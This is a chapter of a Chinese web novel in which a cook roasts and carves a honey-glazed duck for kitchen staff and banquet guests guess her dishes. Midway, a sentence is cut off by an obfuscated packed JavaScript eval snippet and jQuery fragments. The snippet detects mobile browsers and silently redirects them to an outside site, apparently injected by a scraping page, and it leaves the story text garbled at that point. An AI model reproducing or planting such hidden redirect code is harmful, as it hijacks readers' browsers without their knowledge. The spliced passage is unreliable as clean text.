方娘子道：“拜师就算了，我不跟你抢徒弟，教她几道菜倒是可以。”


    萱娘还摸不清楚情况，满脸呆愣。


    沈春宜不轻不重地推了她一下，“愣着做什么，方娘子愿意教你，你还不赶快谢谢她。”


    萱娘如从梦中醒来，喜不自禁，大声道：“谢谢方娘子，虽然你不愿意让我叫你师傅，但我以后会好好孝敬你的。”


    方娘子满脸欣慰，笑道：“你好好学，孝敬不孝敬都没关系。”


    圆生不知道从哪儿溜了过来，腆着脸笑道：“师傅，既然你又收了徒弟，那我是不是就不用学做菜了。”他想学做生意，想走南闯北，不想一直做菜！


    方娘子眼疾手快地捏住他的耳朵，怒骂道：“不想做菜你还想去哪里，毛都没长齐，就想学别人做生意，你有这个能耐吗你？”


    “哎哟，痛痛痛，我的耳朵都要掉了……”圆生连声痛呼，“……师傅你快放手，我听你的，我都听你的。”


    方娘子没好气地放开手，“赶紧给我进去看羊肉好了没。”


    圆生一溜烟地跑进去了。


    方娘子不好意思地笑道：“他太不省心了，一日不打，上房揭瓦，气人得很。”


    沈春宜道：“圆生还小，调皮小也正常，等他年纪大些了，自然就懂事了，我看他聪明又机灵，学什么都快，以后一定会有出息的。”


    话音刚落，就听得圆生扯着嗓子喊：“师傅，羊肉好了，你快进来。”


    方娘子应了声，快步进了厨房。


    她前脚刚进去，沈春蕙后脚就出来了。


    她往沈春宜嘴里塞了一块山楂糕，瞧着烤炉道：“烤鸭快好了没？我都已经将闻到烤鸭的香味了。”她都好就没有吃过烤鸭了，闻着味就馋得慌。


    沈春宜被酸得嘴巴都瑟缩了一下，拍了拍旁边的小板凳，“马上好了，你先坐一会吧。”


    两人并排坐着说了几句闲话，烤鸭便可以出炉了。


    沈春蕙已经有些迫不及待了，主动揽过开炉的活，烤炉一打开，一股浓郁的香味铺面而来，醇香中带着淡淡的果木甜香，霸道得很，瞬间充盈了整个院子。


    萱娘第一个跑了出来，眼睛亮的惊人，“二娘子，烤鸭好香好香啊。”方才也香，但远没有开炉之后的香味霸道勾人。


    不一会儿，所有人都跑了出来，把烤炉围得水泄不通。


    只见沈春蕙拿着一个铁叉子，从烤炉里勾出一只像红玛瑙一般金红透亮、泛着红亮的油光的鸭子来。


    烤鸭卖相十分好看，视觉冲击更是一流，在场的人都一眨不眨地盯着那红艳艳的烤鸭，喉咙不自觉地上下滑动，猛咽口水。


    方娘子不吝啬地赞道：“这烤鸭瞧着真好看，味也香，定然好吃。”


    沈春宜眉眼含笑地点头，“确实挺好吃的。”


    沈春蕙把热气腾腾的烤鸭放到萱娘举着的托盘里，扬声道：“让一让，让我们先进去，围在这儿也吃不上，得进去拿到刀才行。”


    大伙自动让出一条道，等她们走过便又围了上去，拥簇着她们进了厨房。


    进了厨房，不用沈春宜找刀，就有人递过来了。


    片鸭子其实是一场极有观赏性的表演，前世那些卖烤鸭的高档餐厅，有客人点了烤鸭，片烤鸭的师傅便推着一只烤鸭过来了，当着客人面，用刀片下一片片连皮带肉，形似杏叶的烤鸭。


    曾经，沈春宜也是被服务的一员，不过她和很多单纯欣赏片烤鸭师傅表演的客人不同，她看的是刀工，还会一边看，一边比较。


    如果那个师傅的刀工比她好，她就悄悄偷师，如果比她差，她会愉悦又失望。


    愉悦是因为她比他强，虚荣心得到满足，失望是因为没有师可偷。


    许久不片鸭子，她都有些生疏了，第一刀就不太好，不够爽利，导致鸭皮的边缘不够平滑锋利，幸好后边就好多了，虽比不上刀工最好的时候，但也能把每一片鸭肉都片得厚薄均匀，大小一致。


    最后一片肉放下，鸭子算是片好了。


    众人还沉浸在那近乎炫技的刀工中，久久未能回神。


    沈春宜拿了一张荷叶饼，往上边夹了一片鸭肉，一条山楂糕，再夹了些葱丝、胡瓜丝，卷了卷，递给沈春蕙。


    沈春蕙立即回神，接过来张大嘴咬了一口，香得眼睛都眯了起来，“好久没吃了，真香！”


    方娘子率先回神，学着沈春宜的样子给自己卷了烤鸭。


    荷叶饼薄如蝉翼，还透着光，但韧劲很足，又软又韧的，口感很不错，牙齿再咬下去，忽然听到咔嚓一声，酥脆的鸭皮被咬中了，醇厚的油脂香味席卷整而来，还带着淡淡的果木甜香。


    这鸭皮油很重，本该会油腻，但是山楂糕、葱丝和胡瓜丝都是清淡之物，几者一交汇，油腻没了，就只剩下恰到好处的香。


    真是太好吃了！方娘子吃得眼睛发亮，吃完了一片，忍不住又卷了一片。


    所有人都吃得腮帮子鼓鼓的，连话都顾不上说。


    一只鸭子不多，也只够三十多号人一人吃两片鸭肉而已。


    萱娘瞧见碟子里没有鸭肉了，手一转便伸向了旁边鸭骨架，眼疾手快地扯下了一块鸭脖。


    旁边的人见了，三两下就把鸭骨架给瓜分了。


    没分到的人满脸可惜，只能眼巴巴地看着别人吃。其实她们也不想露出这幅馋样来，但烤鸭太香了，控制不住呀。


    鸭脖没什么肉，但有鸭皮，鸭皮酥脆得紧，一咬咔嚓响，油重得很，吃两口便腻了，但荷叶饼、山楂条、胡瓜丝、葱丝多得是，萱娘便又捡来就着吃。


    她吃得喷香，旁边的人看得也心里痒痒的，恨不得抢过来吃。


    有人眼巴巴地看着方娘子。


    “烤鸭太香了，就是太少，都没吃上两片就没了。”


    “阿吉她们不是做坏了几只烤鸭吗？做坏了也不好送到宴上去，不如我们再拿来试试味？方才我们都没尝出什么味来，你们说是不是。”


    “是啊，囫囵就吃掉了，都没尝好不好吃来。”


    实际上，没尝出味来是假，想再吃几只烤鸭是真。


    方娘子也心动得很，只是她考虑得更多，烤鸭这般好吃，说不定有相熟的客人会央求郎君给留一只带回去，所以全留下来吃是不可能的，但是再多试一只的话，也不是不可以！


    打定主意，方娘子清了清喉咙道：“方才我也没尝吃什么味来，我们再试一只，剩下的就要给客人留着了。”


    大家顿时欢呼出声，笑得嘴


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16103327|179832||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    巴都要咧到耳后根去了。


    这一次，大家都吃得十分珍惜，至于那只鸭架，也被方才没有分到的人分了，一人分了一小块，总算是人人都有份了。


    鸭子试完，开席的时间也到了。


    宽敞的大院子里，三十桌席面整整齐齐地摆开。


    虽然大家都是文雅之人，但人太多了，即使个个人都轻声细语，但汇在一起也喧闹得很。


    开席时间一到，传菜的婢女如贯而入，先上的是六碟凉菜。


    每上一道菜，婢女便大声报名字。


    凉拌牛肉、凉拌鸡丝、凉拌胡瓜都是酒席上常有的凉菜，没有什么特别的，但当最后一道凉菜酸辣无骨鸭掌一出，个个面带狐疑，怀疑自己听错了。


    像鸡爪鸭掌下水之类的都是难登大雅之堂的吃食，谁也没想到一向讲究的钱百万会在自家母亲的大寿这样隆重的宴席上给客人吃鸭掌。


    这些宾客里，也有一些是沈家食铺的常客，一听这名字就想起卤肉店的卤鸭货，不由得咦一声，猜钱百万是不是请到沈二娘子掌厨了，但一尝味，好吃是好吃，和卤鸭货风味相差甚远，便有打消了这个念头。


    毕竟也不是没有人想请沈二娘子做席面，但至今都还没有人成功过。


    然而等红烧肉一出，吃过沈家食铺的红烧肉的人就再也坐不住了，朝着钱百万大声道：“钱兄，你这是请到沈家食铺的沈二娘子掌厨了？”


    问话的人嗓门大，说起话来中气十足，他又怕声音小钱百万听不到，便用上了吼。


    这下好了，整个院子都听到了，都安静了下来看着他们了。


    钱百万本就想帮沈春宜宣传一番，这下也不藏着掖着了，笑呵呵地道：“是啊，二娘子心地善良，听说我阿娘过大寿，便答应了。她今日一共做六道菜，三道凉菜三道热菜，你们猜一猜哪几道菜是她做的？”


    话音刚落，立即就有人出声了。


    “我就说怎么凉拌胡瓜和葱油鸡丝的味这么熟悉，这两道凉菜，还有酸辣无骨鸭掌是沈二娘子做的对不对！”他话虽是疑问句，但语气十分肯定。


    钱百万也不卖关子了，笑道：“梁兄好舌头，佩服佩服！”顿了顿，又道，“还有两道热菜，大家猜一猜。”


    热菜有十二道，还没有上齐，只上了一半，猜起来就有难度了。


    许多人都拿捏不定，就连梁员外也是。


    最后，还是钱百万笑道：“三道热菜，只上了一道红烧肉，还有一道四喜丸子和蜜汁烤鸭没有上。”


    四喜丸子菜单上有，有人还吃过，但蜜汁烤鸭是连听都没听过了。


    梁员外追问道：“蜜汁烤鸭是食铺的新菜式吗？怎么我们都没有听说过，钱兄可吃过了？”


    一时间，所有人的目光都集中到了钱百万身上。


    钱百万摇头道：“我也没吃过。”


    听到这话，大家的心都安定了。


    梁员外满脸惋惜，“原来钱兄也没吃过啊，看来是新菜式了。”实际上他心里乐开了花，没吃过就好，没吃过他就心安了，甚至还有点高兴！


    话音刚落，传菜的婢女端着菜如贯而来，口中报菜名：“蜜汁烤鸭！”


    全场霎时安静了下来，所有人同时扭头瞧去。